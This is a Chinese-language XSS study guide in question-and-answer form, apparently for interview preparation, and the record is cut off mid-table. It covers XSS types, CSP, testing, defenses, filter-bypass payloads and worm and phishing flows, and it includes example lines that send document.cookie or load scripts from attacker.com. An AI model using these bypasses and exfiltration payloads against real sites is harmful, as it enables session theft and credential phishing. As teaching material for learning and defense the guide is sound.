1. XSS 漏洞的原理
核心原理:程序对输入输出未进行合适处理,使得攻击者构造的特殊字符在输出到前端时,被浏览器当作有效代码解析执行,进而产生各种危害。
流程:用户输入恶意脚本→网站未过滤 / 编码→脚本被嵌入网页→受害者访问页面→浏览器将脚本当作正常代码执行。
本质:浏览器无法区分 “用户输入的恶意脚本” 和 “网站自身的合法脚本”,从而执行攻击者注入的代码。
2. 什么是 XSS 攻击
XSS(Cross-Site Scripting,跨站脚本攻击)是指攻击者向网页注入恶意脚本(通常是 JavaScript),当受害者访问该页面时,脚本在其浏览器中执行,实现窃取信息、篡改页面、劫持会话等目的。
核心:利用网页对输入输出的处理漏洞,让恶意脚本 “混进” 网页并被执行。
3. XSS 有哪几种类型(含区别)
主要分为 3 类,核心区别在存储位置和触发方式:
维度 | 反射型 XSS | 存储型 XSS | DOM 型 XSS |
---|---|---|---|
持久性 | 非持久(一次性) | 持久(存储于服务器) | 非持久(前端动态触发) |
数据存储位置 | 无存储(存在于 URL / 请求参数) | 服务器数据库 / 文件 | 无存储(存在于浏览器端) |
漏洞位置 | 服务器端(输入→响应拼接环节) | 服务器端(存储→读取环节) | 前端(JavaScript DOM 操作环节) |
触发条件 | 用户点击带恶意参数的链接 | 用户访问包含恶意代码的页面 | 用户操作触发前端 DOM 更新 |
典型场景 | 搜索框、URL 参数 | 留言板、评论区、用户资料 | 动态内容加载、地址栏参数解析 |
攻击流程 | 客户端请求→服务器响应恶意代码→浏览器执行 | 攻击者提交恶意代码→服务器存储→用户访问时执行 | 客户端请求→前端 JS 处理输入→浏览器执行 |
危害程度 | 中(需用户主动点击) | 高(自动攻击所有访问者) | 中(依赖前端逻辑漏洞) |
4. 反射型 XSS 与 DOM 型 XSS 的区别(通常出现在什么位置)
区别点 | 反射型 XSS | DOM 型 XSS |
---|---|---|
是否经过服务器 | 是(脚本通过服务器 “反射” 回页面) | 否(脚本仅在客户端 DOM 中处理) |
响应源码 | 响应 HTML 中可看到注入的脚本 | 响应 HTML 中无脚本,仅在 DOM 树中存在 |
常见位置 | URL 参数(如search?q=xxx )、表单提交结果页 | 客户端 JS 处理用户输入的地方(如location.search 、innerHTML ) |
5. XSS 攻击可能造成哪些危害
网络钓鱼:盗取各类用户账号,通过伪造登录页面等方式诱骗用户输入账号密码。
窃取隐私:获取用户 Cookie 资料,进而得到隐私信息或利用身份操作网站,侵犯用户隐私安全。
会话劫持:控制用户浏览器会话,执行非法转账、发表日志、发邮件等操作,以用户身份进行恶意行为。
干扰用户:强制弹出广告页面、刷流量,影响用户正常使用网站,降低用户体验。
网页挂马:在网页植入恶意软件,感染用户设备,破坏用户设备安全,可能导致设备数据泄露或被控制。
恶意篡改:篡改页面信息、删除文章等,破坏网站正常内容展示,影响网站的可信度和可用性。
客户端攻击:发起 DDoS 攻击,利用大量受感染的用户设备对目标服务器进行攻击,导致服务器瘫痪。
协同作恶:结合 CSRF 等漏洞进一步危害系统,扩大攻击范围和影响程度,增加系统安全风险。
传播恶意程序:传播跨站脚本蠕虫,通过 XSS 漏洞在用户之间自动扩散,危害更多用户。
6. XSS 中 a 标签的防护措施
a 标签的风险主要来自href
属性被注入javascript:
伪协议(如<a href="javascript:alert(1)">
),防护措施包括:
过滤危险协议:禁止
javascript:
、vbscript:
等伪协议,仅允许http://
、https://
、mailto:
等安全协议;输出编码:对
href
内容进行 HTML 实体编码(如将<
转为<
),避免脚本被解析;限制链接域名:校验
href
指向的域名是否在可信白名单内(如仅允许自家域名或合作方域名);添加安全属性:使用
rel="noopener noreferrer"
,防止新页面通过window.opener
篡改原页面;禁止动态拼接:避免直接将用户输入作为
href
值(如<a href="{$user_input}">
),需先经过严格校验。
7. XSS 持久化技术
指让恶意脚本长期存在于目标系统中,持续发挥作用的技术,主要用于存储型 XSS:
实现方式:将脚本存入服务器的数据库(如评论、用户资料)、缓存系统(如 Redis)、日志文件(如后台错误日志)等;
特点:一旦注入成功,所有访问该资源的用户都会触发,无需重复诱导受害者点击(区别于反射型的一次性触发)。
8. 什么是 XSS 盲打
XSS 盲打是指攻击者无法直接观察脚本是否执行的场景(如脚本被注入到后台页面、管理员日志),通过 “间接回调” 确认漏洞的方法:
场景:后台评论审核页、错误日志页面(用户输入的内容仅管理员可见);
原理:注入含回调的脚本(如
<img src="http://attacker.com/log?admin=1">
),当管理员查看页面时,脚本会向攻击者服务器发送请求,攻击者通过日志确认 “已触发”,从而发现漏洞。
9. 构造 XSS 蠕虫的必要条件
XSS 蠕虫是能自动传播的恶意脚本,需满足:
存在存储型 XSS 漏洞:脚本能被存入服务器(确保持久化);
自动触发机制:脚本加载后无需用户操作即可执行(如
onload
事件);传播能力:脚本能自动向其他用户发送含自身的内容(如自动评论、私信);
绕过防御:能绕过网站的过滤规则(如关键词过滤、长度限制)和浏览器安全机制(如 CSP)。
10. 什么是内容安全策略(CSP)?如何配置?有哪些绕过方式?
定义:CSP(Content Security Policy)是一种安全层,通过限制网页可加载的资源(脚本、图片等)来源,防止 XSS 等注入攻击。
配置方式:
通过 HTTP 头:
Content-Security-Policy: script-src 'self' https://trusted-cdn.com
(仅允许本地和可信 CDN 的脚本);通过
<meta>
标签:<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
。
核心指令:
default-src
(默认资源来源)、script-src
(脚本来源)、img-src
(图片来源)等。绕过方式:
利用 CSP 配置错误(如
script-src
允许任意来源);劫持可信域名的资源(如可信 CDN 被入侵,植入恶意脚本);
利用
data:
协议(若script-src
允许data:
,可注入data:text/javascript,alert(1)
);利用内联事件(如
onclick
,若'unsafe-inline'
未禁用)。
11. 如何检测 XSS 漏洞(含黑盒检测步骤)
黑盒检测(无需源码)步骤:
收集输入点:找出所有用户可控输入位置(URL 参数、表单字段、评论区、文件上传文件名等);
构造测试 payload:从简单到复杂,如:
基础脚本:
<script>alert(1)</script>
;事件触发:
<img src=x onerror=alert(1)>
;编码绕过:
<script>alert(1)</script>
;
提交并观察响应:
若页面弹出
alert
,说明存在 XSS;若未弹出,检查页面源码 / 控制台,确认脚本是否被过滤或编码;
区分类型:
存储型:多次访问页面,脚本持续存在;
反射型:脚本仅在含 payload 的 URL 中出现;
DOM 型:页面源码无脚本,但 DOM 树中存在(通过浏览器 “检查元素” 查看)。
12. 存储型 XSS 的攻击流程
攻击者在目标网站的用户输入点(如评论区、个人资料)提交含恶意脚本的内容(如
<script src="http://attacker.com/xss.js"></script>
);网站未过滤脚本,将其存入数据库;
其他用户访问包含该内容的页面(如查看评论列表);
网站从数据库读取内容并输出到页面,恶意脚本被加载执行;
脚本在用户浏览器中执行恶意操作(如窃取 Cookie、自动转发评论)。
13. 反射型 XSS 的攻击流程
攻击者构造含恶意脚本的 URL(如
http://target.com/search?q=<script>alert(document.cookie)</script>
);通过钓鱼(如邮件、聊天工具)诱导受害者点击该 URL;
受害者点击后,浏览器向目标网站发送请求,携带含脚本的参数;
目标网站未过滤参数,将脚本 “反射” 到响应页面中(如搜索结果页显示
<p>搜索结果:<script>alert(document.cookie)</script></p>
);受害者浏览器加载响应,执行脚本,攻击者获取 Cookie 等信息。
14. DOM 型 XSS 怎么测试
DOM 型 XSS 由客户端 JS 处理用户输入导致,测试步骤:
定位 DOM 操作点:查找页面中用 JS 处理用户输入的代码(如
location.search
、document.write
、document.URL
、innerHTML
、outterHTML
、eval()
等);构造测试输入:向输入点(如 URL 参数
http://target.com/?x=test
)注入 payload(如x=<img src=x onerror=alert(1)>
);检查 DOM 执行:通过浏览器 “检查元素” 查看 DOM 树,确认 payload 是否被注入到页面中;
验证执行:若脚本触发
alert
等操作,说明存在 DOM 型 XSS。
15. XSS 漏洞的防御措施
核心原则:输入验证 + 输出编码 + 安全配置,具体措施:
输入验证:
对用户输入进行 “白名单过滤”(如仅允许字母、数字及必要符号),拒绝
<
、>
、script
等危险字符;限制输入长度(如评论区限制 1000 字内),减少 payload 注入空间。
输出编码:
根据输出位置选择编码方式:
HTML 标签内:用 HTML 实体编码(如
<
代替<
);JavaScript 代码内:用 JS 编码(如
\x3c
代替<
);URL 参数内:用 URL 编码(如
%3c
代替<
)。
安全配置:
对敏感 Cookie 设置
HttpOnly
属性(防止document.cookie
读取);启用内容安全策略(CSP),限制脚本加载来源(如
script-src 'self'
仅允许本地脚本);设置 Cookie 的
SameSite
属性(如SameSite=Strict
),防止跨站请求携带 Cookie;禁用不必要的 HTML 标签 / 属性(如通过 HTML Purifier 等工具过滤
<script>
、onclick
等)。
16. XSS 漏洞的绕过方法
绕过核心是突破过滤规则或编码机制,常见方式:
大小写、双写或多写混淆:如
<ScRiPt>alert(1)</ScRiPt>
;注释干扰:在关键标签或脚本中插入注释,干扰过滤程序对代码的识别,如
<scri<!-- -->pt>alert(1)</script>
。空白字符绕过:
空格绕过:在关键字或标签中插入空格,使过滤机制难以准确匹配,如
<s cript>alert(1)</script>
。Tab 绕过:使用 Tab 字符分隔关键字,示例为
<s cript>alert(1)</script>
。回车换行绕过:利用回车换行符分割关键字,如
<img src="jav
ascript:
alert('XSS');">
特殊字符编码:
HTML 实体编码:
<script>alert(1)</script>
;Unicode 编码:
\u003cscript\u003ealert(1)\u003c/script\u003e
;URL 编码:
%3cscript%3ealert(1)%3c/script%3e
(配合 URL 解码场景);
标签 / 事件/伪协议变异:
用非
<script>
标签执行脚本,如<img src=x onerror=alert(1)>
、<body onload=alert(1)>
;拆分标签(如
<scr
+ipt>alert(1)</scr
+ipt>
)绕过完整关键词过滤;事件属性绕过:借助 HTML 元素的事件属性(如
onclick
、onmouseover
、onerror
等)注入恶意脚本,例如<img src=x onerror="alert(1)">
。CSS 属性绕过:通过 CSS 的某些属性(如
background-image
、expression
等)执行脚本,像body { background-image: url(javascript:alert('XSS')); }
。
利用 HTML5 新特性:如
<svg onload=alert(1)>
、<video poster=javascript:alert(1)>
;绕过 CSP:若 CSP 配置宽松(如
script-src 'unsafe-inline'
),可直接注入内联脚本;或利用可信域名的漏洞(如可信 CDN 被劫持)。框架和 iframe 绕过:通过在
<iframe>
中加载恶意页面或构造恶意的<frame>
标签来绕过防护。
17. XSS 攻击中,攻击者如何利用 Cookie 窃取用户信息(含盗取方式)
核心利用document.cookie
获取 Cookie,再发送给攻击者服务器:
盗取方式:
img 标签请求:注入
<img src="http://attacker.com/log?cookie='+document.cookie+'">
,当图片加载时,Cookie 会被发送到攻击者的log
接口;XMLHttpRequest/Fetch:用脚本发送 POST 请求,将 Cookie 上传到攻击者服务器;
WebSocket:建立 WebSocket 连接,实时发送 Cookie。
防御限制:若 Cookie 设置了
HttpOnly
属性,则document.cookie
无法读取,可有效阻止此类攻击。
18. 如何快速判定 XSS 类型
存储型:关闭页面后重新打开(无需携带原 URL 参数),脚本仍能执行(因存在数据库);
反射型:仅在携带 payload 的 URL 中触发,刷新页面若 URL 无 payload 则不执行;
DOM 型:查看页面源码(
Ctrl+U
),无注入的脚本;但通过 “检查元素” 查看 DOM 树,能找到脚本(说明脚本是客户端 JS 动态注入的)。
19. XSS 怎么 getshell
XSS 本身难以直接 getshell(获取服务器控制权),需结合其他条件:
诱导用户下载恶意程序:通过 XSS 弹出伪造的 “系统更新” 窗口,诱导用户下载木马;
利用浏览器漏洞:若受害者浏览器存在 0day 漏洞(如远程代码执行),XSS 脚本可触发漏洞执行本地代码;
控制管理员后台:通过 XSS 窃取管理员 Cookie,登录后台后利用文件上传漏洞上传 webshell;
条件限制:需目标系统存在多重漏洞(XSS + 文件上传 / 浏览器 0day),实战中成功率较低。
20. 能简单介绍一下 XSS 蠕虫吗?
XSS 蠕虫是一种具备自我复制和传播能力的跨站脚本攻击,通过 XSS 漏洞在用户之间自动扩散。引发XSS 蠕虫的条件比较高,需要在用户之间发生交互行为的页面,这样才能形成有效的传播。一般要同时结合 存储型 XSS(用于长期植入恶意代码)和反射型 XSS(用于诱骗点击)。
XSS 蠕虫传播过程可总结为以下步骤:
在目标网站的存储型 XSS 漏洞位置(如留言板)提交包含蠕虫脚本
蠕虫脚本生成伪装链接(如 “查看我的新动态”),利用目标网站的消息系统发送给用户好友
受害者点击链接,触发反射型 XSS,浏览器执行蠕虫脚本
蠕虫脚本获取受害者的好友列表,循环发送伪装链接,形成链式传播
21. XSS 蠕虫与传统蠕虫相比的不同点
维度 | XSS 蠕虫 | 传统蠕虫(如计算机病毒) |
---|---|---|
攻击载体 | Web 应用(如论坛、社交平台) | 操作系统 / 软件漏洞(如 Windows) |
传播方式 | 通过用户交互(如评论、私信) | 通过网络协议(如 TCP/IP)传播 |
依赖条件 | 依赖 Web 应用的 XSS 漏洞 | 依赖系统 / 软件的 0day 或已知漏洞 |
影响范围 | 仅限于使用该 Web 应用的用户 | 可跨设备、跨网络感染 |
清除难度 | 清除服务器存储的恶意脚本即可 | 需修复系统漏洞 + 清除所有感染设备 |
22. 听说可以用 XSS 钓鱼,是真的吗?
XSS 钓鱼是存在的,利用 XSS 漏洞在目标网站植入恶意脚本,通过伪造登录页面、弹出伪造对话框等方式,诱骗用户输入敏感信息(如账号密码),本质是结合跨站脚本与社会工程学的诈骗行为。
这里我简单讲一讲存在存储型 XSS 的页面如何利用basic认证实现钓鱼:
已知存在一个存在存储型 XSS 漏洞的页面 A 和攻击者后台 B
攻击这个可以利用该漏洞在 A 页面中内嵌一个请求(javascript或者其他)
这个请求是向远端的服务器(攻击者后台)发起请求
攻击者后台返回一个要求他进行bacis认证的头部,在用户界面上就会弹出一个要进行身份认证的提示框
用户一旦他输入了账号密码,这个账号密码就会发送到攻击者后台 B
23. XSS 和 Javascript 注入有什么区别?
维度 | XSS(跨站脚本) | JavaScript 注入 |
---|---|---|
攻击层面 | 客户端攻击(浏览器执行恶意脚本) | 服务器端攻击(服务器解释执行恶意脚本) |
执行环境 | 用户浏览器(前端) | 服务器端 JavaScript 引擎(如 Node.js) |
依赖载体 | Web 页面(HTML/JS) | 服务器端 JS 代码(如 Node.js 应用) |
24. 存储型 XSS 在纯内网环境中的利用
纯内网环境(无公网访问)中,存储型 XSS 可攻击内网用户及服务:
横向渗透:窃取内网用户 Cookie,登录其他内网系统(如 OA、CRM);
内网探测:通过脚本扫描内网端口(如
192.168.1.1/24
),获取内网服务信息(如是否存在未授权数据库);发起内网 CSRF:利用 XSS 脚本伪造请求,攻击内网服务(如路由器配置修改、打印机劫持);
窃取内网敏感数据:若页面包含内网文档(如员工工资表),脚本可自动爬取并发送到内网攻击者的服务器。
25. CSRF 和 XSS 的区别
核心区别体现在攻击目标、原理和实现方式上:
维度 | CSRF(跨站请求伪造) | XSS(跨站脚本) |
---|---|---|
原理 | 利用用户已认证的会话(Cookie),伪造用户发起非预期请求(如转账、改密码) | 向网页注入恶意脚本,在用户浏览器中执行,操控页面或窃取信息 |
核心目标 | 骗取用户 “执行操作”(如提交表单) | 骗取用户 “数据 / 权限”(如 Cookie、敏感信息) |
依赖条件 | 需用户已登录目标网站(依赖会话有效性) | 需网站对输入过滤 / 输出编码存在缺陷 |
技术核心 | 构造恶意 URL 或表单,无需注入脚本 |